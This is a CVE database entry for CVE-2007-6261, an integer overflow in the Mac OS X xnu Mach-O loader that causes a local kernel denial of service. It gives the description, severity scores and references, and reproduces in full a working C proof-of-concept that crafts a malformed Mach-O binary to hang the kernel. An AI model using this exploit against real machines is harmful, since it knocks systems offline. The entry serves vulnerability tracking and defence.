CVE-2007-6261 : Detail

CVE-2007-6261

0.15%V4
Local
2007-12-06
01h00 +00:00
2017-08-07
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the load_threadstack function in the Mach-O loader (mach_loader.c) in the xnu kernel in Apple Mac OS X 10.4 through 10.5.1 allows local users to cause a denial of service (infinite loop) via a crafted Mach-O binary.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4689

Publication date : 2007-12-03 23h00 +00:00
Author : mu-b
EDB Verified : Yes

/* xnu-macho-dos.c * * Copyright (c) 2007 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.0 local kernel DoS POC * by mu-b - Thu 15 Nov 2007 * * - Tested on: Apple MACOS X 10.4 (xnu-792.22.5~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_PPC) * * integer overflow causes infinite loop in load_threadstack. * (bsd/kern/mach_loader.c) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2007!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #define MAX_PATH_LEN 128 #define LC_UNIXTHREAD 0x05 #define x86_THREAD_STATE32 0x01 /* osfmk/mach-o/loader.h */ struct thread_command { unsigned long cmd; /* LC_THREAD or LC_UNIXTHREAD */ unsigned long cmdsize; /* total size of this command */ unsigned long flavor; /* flavor of thread state */ unsigned long count; /* count of longs in thread state */ }; static void * xmalloc (int num_bytes) { char *buf; buf = malloc (num_bytes); if (buf == NULL) { fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes); exit (EXIT_FAILURE); } return (buf); } int main (int argc, char ** argv) { char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end; int fd, wfd, found, size; struct stat fbuf; printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <macho-o binary>\n", argv[0]); exit (EXIT_SUCCESS); } if ((fd = open (argv[1], O_RDONLY)) == -1) { perror ("open ()"); exit (EXIT_FAILURE); } snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]); if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1) { perror ("open ()"); exit (EXIT_FAILURE); } if (fstat (fd, &fbuf) < 0) { perror ("fstat ()"); exit (EXIT_FAILURE); } size = fbuf.st_size; ptr = xmalloc (sizeof (char) * size); end = ptr + size; if (read (fd, ptr, size) < size) { unlink (fnbuf); perror ("write ()"); exit (EXIT_FAILURE); } close (fd); for (cur = ptr, found = 0; !found && cur + sizeof (struct thread_command) < end; cur += sizeof (unsigned long)) { struct thread_command *thr_cmd; thr_cmd = (struct thread_command *) cur; if (thr_cmd->cmd == LC_UNIXTHREAD && thr_cmd->flavor == x86_THREAD_STATE32) { thr_cmd->count = 0x3FFFFFFE; printf ("* found at offset @0x%08X\n", cur - ptr); found = 1; } } if (!found) { unlink (fnbuf); fprintf (stderr, "* ARGH! hueristic didn't find our target!\n"); exit (EXIT_FAILURE); } write (wfd, ptr, size); fchmod(wfd, fbuf.st_mode); close (wfd); free (ptr); fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf); return (EXIT_SUCCESS); } // milw0rm.com [2007-12-04]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.5.1

References

http://secunia.com/advisories/27884
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/26700
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2007/4095
Tags : vdb-entry, x_refsource_VUPEN